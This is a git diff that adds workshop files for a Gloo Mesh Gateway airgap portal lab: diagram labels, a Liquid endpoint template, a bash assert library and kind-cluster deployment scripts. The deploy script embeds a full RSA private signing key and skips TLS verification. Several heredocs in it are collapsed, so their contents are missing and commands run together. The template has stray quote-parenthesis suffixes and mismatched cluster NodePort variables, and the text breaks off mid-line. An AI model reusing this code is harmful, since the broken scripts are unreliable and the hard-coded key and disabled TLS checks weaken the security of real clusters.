N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-5/airgap/standalone-portal/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/assert.sh b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/check.sh b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone-portal/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || 